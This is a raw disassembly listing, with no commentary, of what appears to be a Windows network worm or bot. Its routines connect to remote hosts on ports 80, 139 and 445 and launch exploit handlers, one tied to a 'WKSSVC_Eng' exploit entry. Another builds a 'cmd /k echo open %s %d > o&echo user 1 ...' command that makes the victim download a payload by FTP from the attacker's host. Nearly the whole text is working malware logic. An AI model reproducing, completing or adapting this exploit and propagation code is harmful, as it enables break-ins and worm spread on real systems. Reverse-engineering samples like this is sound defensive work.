		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402AAF
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_402B2E
		add	esp, 1Ch
		test	al, al
		jz	short loc_402C00
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402AAF
		add	esp, 10h
		mov	bl, 1


loc_402C3F:				; CODE XREF: sub_402B73+8Fj
		push	esi
		call	sub_413F7F
		pop	ecx
		mov	al, bl


loc_402C48:				; CODE XREF: sub_402B73+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402B73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C4D	proc near		; CODE XREF: sub_402F48+167p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_421F08
		push	[ebp+arg_0]
		call	dword_41F1D0	; send
		cmp	eax, 48h
		jnz	short loc_402C88
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_402AAF
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C88
		cmp	[ebp+var_20], 82h
		jz	short loc_402C8C


loc_402C88:				; CODE XREF: sub_402C4D+1Bj
					; sub_402C4D+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402C8C:				; CODE XREF: sub_402C4D+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402B73
		add	esp, 0Ch
		leave
		retn
sub_402C4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C9F	proc near		; CODE XREF: sub_402CEB+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_41F238
		call	sub_4140D0
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_41F230
		fstp	[esp+10h+var_10]
		call	sub_413FAE
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_4140D0
		inc	eax
		leave
		retn
sub_402C9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CEB	proc near		; CODE XREF: sub_402E8D+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_41E61F
		call	sub_41459C
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_403362
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_402C9F
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_402D2D
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4032DD


loc_402D2D:				; CODE XREF: sub_402CEB+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_402E4A
		mov	ebx, [ebp+10h]


loc_402D3C:				; CODE XREF: sub_402CEB+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_402D46
		push	3
		jmp	short loc_402D58
; ---------------------------------------------------------------------------


loc_402D46:				; CODE XREF: sub_402CEB+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_402D50
		push	2
		jmp	short loc_402D58
; ---------------------------------------------------------------------------


loc_402D50:				; CODE XREF: sub_402CEB+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_402D59
		push	1


loc_402D58:				; CODE XREF: sub_402CEB+59j
					; sub_402CEB+63j
		pop	ebx


loc_402D59:				; CODE XREF: sub_402CEB+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_41F248
		fstp	[esp+40h+var_40]
		call	sub_4140F7
		pop	ecx
		pop	ecx
		call	sub_4140D0
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_402D98
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_402D98:				; CODE XREF: sub_402CEB+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_402E06
		add	[ebp-18h], eax


loc_402DEA:				; CODE XREF: sub_402CEB+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_421F54[eax]
		push	eax
		push	1
		call	sub_40315F
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_402DEA


loc_402E06:				; CODE XREF: sub_402CEB+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_402E24
		push	dword ptr [ebp+14h]
		call	sub_413E90
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4031B8
		mov	[ebp-18h], edi


loc_402E24:				; CODE XREF: sub_402CEB+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_402E3E
		sub	esi, [ebp-1Ch]


loc_402E2F:				; CODE XREF: sub_402CEB+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40315F
		dec	esi
		jnz	short loc_402E2F


loc_402E3E:				; CODE XREF: sub_402CEB+13Fj
		cmp	[ebp+10h], edi
		ja	loc_402D3C
		push	1
		pop	ebx


loc_402E4A:				; CODE XREF: sub_402CEB+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_403362
		push	dword_41F240
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40320F
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_403362
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402CEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E8D	proc near		; CODE XREF: sub_402F48+14Ap
		mov	eax, offset loc_41E63C
		call	sub_41459C
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438A10
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_402CEB
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_413F0B
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_402ED7
		xor	bl, bl
		jmp	short loc_402F1B
; ---------------------------------------------------------------------------


loc_402ED7:				; CODE XREF: sub_402E8D+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41F250
		cmp	ecx, ebx
		jnz	short loc_402EE5
		mov	ecx, eax


loc_402EE5:				; CODE XREF: sub_402E8D+54j
		cmp	[ebp+18h], ebx
		jz	short loc_402EED
		mov	eax, [ebp+18h]


loc_402EED:				; CODE XREF: sub_402E8D+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_413D8A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_44CD28	; send
		cmp	eax, esi
		jz	short loc_402F12
		xor	bl, bl
		jmp	short loc_402F14
; ---------------------------------------------------------------------------


loc_402F12:				; CODE XREF: sub_402E8D+7Fj
		mov	bl, 1


loc_402F14:				; CODE XREF: sub_402E8D+83j
		push	edi
		call	sub_413F7F
		pop	ecx


loc_402F1B:				; CODE XREF: sub_402E8D+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_403362
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F48	proc near		; CODE XREF: sub_40211B+380p
					; sub_40211B+3A0p

var_524		= byte ptr -524h
var_523		= byte ptr -523h
var_495		= byte ptr -495h
var_124		= byte ptr -124h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 524h
		and	[ebp+var_524], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_523]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_524]
		push	offset sub_422100
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		mov	eax, offset byte_42A390
		push	eax
		push	eax
		push	dword_438A18
		push	[ebp+arg_0]
		call	sub_408A5D
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_495]
		push	400h
		push	eax
		call	sub_413D8A
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_524]
		push	eax
		push	164h
		lea	eax, [ebp+var_24]
		push	offset sub_421F98
		push	eax
		call	sub_402749
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp+var_8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_402FEE
		xor	eax, eax
		jmp	loc_403152
; ---------------------------------------------------------------------------


loc_402FEE:				; CODE XREF: sub_402F48+9Dj
		mov	[ebp+var_C], esi


loc_402FF1:				; CODE XREF: sub_402F48+1A9j
		test	esi, esi
		jnz	loc_4030F7
		push	6
		push	1
		push	2
		call	dword_41F1DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4030DF
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4030D4
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_40309C
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_403362
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_40339E
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402E8D
		add	esp, 1Ch
		jmp	short loc_4030D1
; ---------------------------------------------------------------------------


loc_40309C:				; CODE XREF: sub_402F48+112j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_4030B6
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402C4D
		jmp	short loc_4030CE
; ---------------------------------------------------------------------------


loc_4030B6:				; CODE XREF: sub_402F48+15Ej
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_4030D4
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402B73


loc_4030CE:				; CODE XREF: sub_402F48+16Cj
		add	esp, 0Ch


loc_4030D1:				; CODE XREF: sub_402F48+152j
		movzx	esi, al


loc_4030D4:				; CODE XREF: sub_402F48+105j
					; sub_402F48+178j
		push	ebx
		call	dword_44CD70	; closesocket
		test	esi, esi
		jnz	short loc_4030EA


loc_4030DF:				; CODE XREF: sub_402F48+C2j
		push	3E8h
		call	dword_41F050	; Sleep


loc_4030EA:				; CODE XREF: sub_402F48+195j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_402FF1


loc_4030F7:				; CODE XREF: sub_402F48+ABj
		lea	ecx, [ebp+var_8]
		call	sub_40256E
		test	esi, esi
		jz	short loc_403150
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aWkssvc_eng	; "WKSSVC_Eng"
		push	eax
		push	offset dword_4221C4
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_425A60[eax]
		lea	eax, dword_425A60[eax]


loc_403150:				; CODE XREF: sub_402F48+1B9j
		mov	eax, esi


loc_403152:				; CODE XREF: sub_402F48+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402F48	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E600


loc_403157:				; CODE XREF: sub_41E600+3j
					; seg001:0041E619j ...
		push	1
		call	sub_403362
		retn
; END OF FUNCTION CHUNK	FOR sub_41E600

; =============== S U B	R O U T	I N E =======================================



sub_40315F	proc near		; CODE XREF: sub_402CEB+110p
					; sub_402CEB+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_41F240
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_403179
		call	sub_41E0D0


loc_403179:				; CODE XREF: sub_40315F+13j
		test	ebx, ebx
		jbe	short loc_4031B0
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4032DD
		test	al, al
		jz	short loc_4031B0
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_413890
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4031B0:				; CODE XREF: sub_40315F+1Cj
					; sub_40315F+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40315F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031B8	proc near		; CODE XREF: sub_402CEB+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_41F240
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4031D2
		call	sub_41E0D0


loc_4031D2:				; CODE XREF: sub_4031B8+13j
		test	ebx, ebx
		jbe	short loc_403207
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4032DD
		test	al, al
		jz	short loc_403207
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4138F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_403207:				; CODE XREF: sub_4031B8+1Cj
					; sub_4031B8+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4031B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40320F	proc near		; CODE XREF: sub_402CEB+17Cp
					; sub_41E12A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_403227
		call	sub_41E2FC


loc_403227:				; CODE XREF: sub_40320F+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_403239
		mov	esi, [ebp+arg_8]


loc_403239:				; CODE XREF: sub_40320F+25j
		cmp	edi, ebx
		jnz	short loc_40325B
		push	dword_41F240
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4033D3
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4033D3
		jmp	short loc_4032D4
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_40320F+2Cj
		test	esi, esi
		jbe	short loc_40329E
		cmp	esi, eax
		jnz	short loc_40329E
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40326F
		mov	eax, offset dword_41F250


loc_40326F:				; CODE XREF: sub_40320F+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40329E
		push	1
		mov	ecx, edi
		call	sub_403362
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40328A
		mov	eax, offset dword_41F250


loc_40328A:				; CODE XREF: sub_40320F+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4032D4
; ---------------------------------------------------------------------------


loc_40329E:				; CODE XREF: sub_40320F+4Ej
					; sub_40320F+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4032DD
		test	al, al
		jz	short loc_4032D4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4032B8
		mov	eax, offset dword_41F250


loc_4032B8:				; CODE XREF: sub_40320F+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4138F0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4032D4:				; CODE XREF: sub_40320F+4Aj
					; sub_40320F+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40320F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032DD	proc near		; CODE XREF: sub_402CEB+3Dp
					; sub_40315F+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4032EF
		call	sub_41E0D0


loc_4032EF:				; CODE XREF: sub_4032DD+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_403318
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_403318
		cmp	al, 0FFh
		jz	short loc_403318
		cmp	edi, edx
		jnz	short loc_403353
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40330D:				; CODE XREF: sub_4032DD+47j
		mov	ecx, esi
		call	sub_403362


loc_403314:				; CODE XREF: sub_4032DD+4Bj
					; sub_4032DD+52j
		xor	al, al
		jmp	short loc_40335D
; ---------------------------------------------------------------------------


loc_403318:				; CODE XREF: sub_4032DD+19j
					; sub_4032DD+20j ...
		cmp	edi, edx
		jnz	short loc_403331
		cmp	[esp+8+arg_4], dl
		jz	short loc_403326
		push	1
		jmp	short loc_40330D
; ---------------------------------------------------------------------------


loc_403326:				; CODE XREF: sub_4032DD+43j
		cmp	ecx, edx
		jz	short loc_403314
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_403314
; ---------------------------------------------------------------------------


loc_403331:				; CODE XREF: sub_4032DD+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40334E
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_403343
		cmp	eax, edi
		jnb	short loc_40335B


loc_403343:				; CODE XREF: sub_4032DD+60j
		push	1
		mov	ecx, esi
		call	sub_403362
		jmp	short loc_403353
; ---------------------------------------------------------------------------


loc_40334E:				; CODE XREF: sub_4032DD+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40335B


loc_403353:				; CODE XREF: sub_4032DD+28j
					; sub_4032DD+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40343A


loc_40335B:				; CODE XREF: sub_4032DD+64j
					; sub_4032DD+74j
		mov	al, 1


loc_40335D:				; CODE XREF: sub_4032DD+39j
		pop	edi
		pop	esi
		retn	8
sub_4032DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_403362	proc near		; CODE XREF: sub_402CEB+1Fp
					; sub_402CEB+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40338E
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40338E
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_403387
		cmp	al, 0FFh
		jz	short loc_403387
		dec	al
		mov	[ecx], al
		jmp	short loc_40338E
; ---------------------------------------------------------------------------


loc_403387:				; CODE XREF: sub_403362+19j
					; sub_403362+1Dj
		push	ecx
		call	sub_4145BB
		pop	ecx


loc_40338E:				; CODE XREF: sub_403362+8j
					; sub_403362+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_403362	endp


; =============== S U B	R O U T	I N E =======================================



sub_40339E	proc near		; CODE XREF: sub_402F48+13Ep
					; sub_4034F7+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4032DD
		test	al, al
		jz	short loc_4033CC
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4138F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4033CC:				; CODE XREF: sub_40339E+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40339E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033D3	proc near		; CODE XREF: sub_40320F+39p
					; sub_40320F+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4033E6
		call	sub_41E2FC


loc_4033E6:				; CODE XREF: sub_4033D3+Cj
		mov	ecx, edi
		call	sub_4034F7
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_4033FC
		mov	ebx, eax


loc_4033FC:				; CODE XREF: sub_4033D3+25j
		test	ebx, ebx
		jbe	short loc_403432
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4145D0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4032DD
		test	al, al
		jz	short loc_403432
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_403432:				; CODE XREF: sub_4033D3+2Bj
					; sub_4033D3+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4033D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40343A	proc near		; CODE XREF: sub_4032DD+79p
		mov	eax, offset loc_41E648
		call	sub_41459C
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_403460
		mov	edi, [ebp+8]


loc_403460:				; CODE XREF: sub_40343A+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40346D
		xor	eax, eax


loc_40346D:				; CODE XREF: sub_40343A+2Fj
		push	eax
		call	sub_414905
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40349E
; ---------------------------------------------------------------------------


loc_403479:				; DATA XREF: seg001:0041FF04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_403488
		xor	eax, eax


loc_403488:				; CODE XREF: sub_40343A+4Aj
		push	eax
		call	sub_414905
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_403498
		retn
; ---------------------------------------------------------------------------


loc_403498:				; DATA XREF: sub_40343A+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40349E:				; CODE XREF: sub_40343A+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4034BC
		cmp	eax, edi
		jbe	short loc_4034AB
		mov	eax, edi


loc_4034AB:				; CODE XREF: sub_40343A+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4138F0
		add	esp, 0Ch


loc_4034BC:				; CODE XREF: sub_40343A+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_403362
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4034DC
		mov	edi, ebx


loc_4034DC:				; CODE XREF: sub_40343A+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40343A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034F7	proc near		; CODE XREF: sub_4033D3+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_403524
		mov	al, [esi-1]
		test	al, al
		jz	short loc_403524
		cmp	al, 0FFh
		jz	short loc_403524
		push	1
		call	sub_403362
		push	esi
		call	sub_413E90
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40339E


loc_403524:				; CODE XREF: sub_4034F7+9j
					; sub_4034F7+10j ...
		pop	edi
		pop	esi
		retn
sub_4034F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403527	proc near		; DATA XREF: seg001:00421004o
		test	byte_742518, 1
		jnz	short loc_403537
		or	byte_742518, 1


loc_403537:				; CODE XREF: sub_403527+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_414980
		pop	ecx
		retn
sub_403527	endp

; ---------------------------------------------------------------------------
		mov	eax, 13B24h
		call	sub_413E60
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+120h]
		push	edi
		push	eax
		push	101h
		call	dword_41F1BC	; WSAStartup
		test	eax, eax
		jnz	loc_4039BC
		lea	eax, [esp+13B3Ch]
		push	1
		push	eax
		call	sub_40ADCF
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		pop	ecx
		jnz	short loc_4035A3
		lea	eax, [esp+13B3Ch]
		push	5
		push	eax
		call	sub_40ADCF
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		pop	ecx
		jz	loc_4039BC


loc_4035A3:				; CODE XREF: seg001:00403586j
		push	0
		push	1
		push	2
		call	dword_41F1DC	; socket
		mov	esi, eax
		test	esi, esi
		jl	loc_4039BC
		lea	eax, [esp+13B3Ch]
		mov	word ptr [esp+14h], 2
		push	eax
		call	dword_41F1C0	; inet_addr
		push	1BDh
		mov	[esp+1Ch], eax
		call	dword_41F1C4	; ntohs
		mov	[esp+16h], ax
		lea	eax, [esp+14h]
		push	10h
		push	eax
		push	esi
		call	dword_41F1E4	; connect
		test	eax, eax
		jl	loc_4039BC
		lea	eax, [esp+10h]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	dword ptr [esp+24h], 1388h
		call	dword_41F1C8	; setsockopt
		mov	edi, dword_41F1CC
		cmp	ebp, 2
		mov	ebx, 13880h
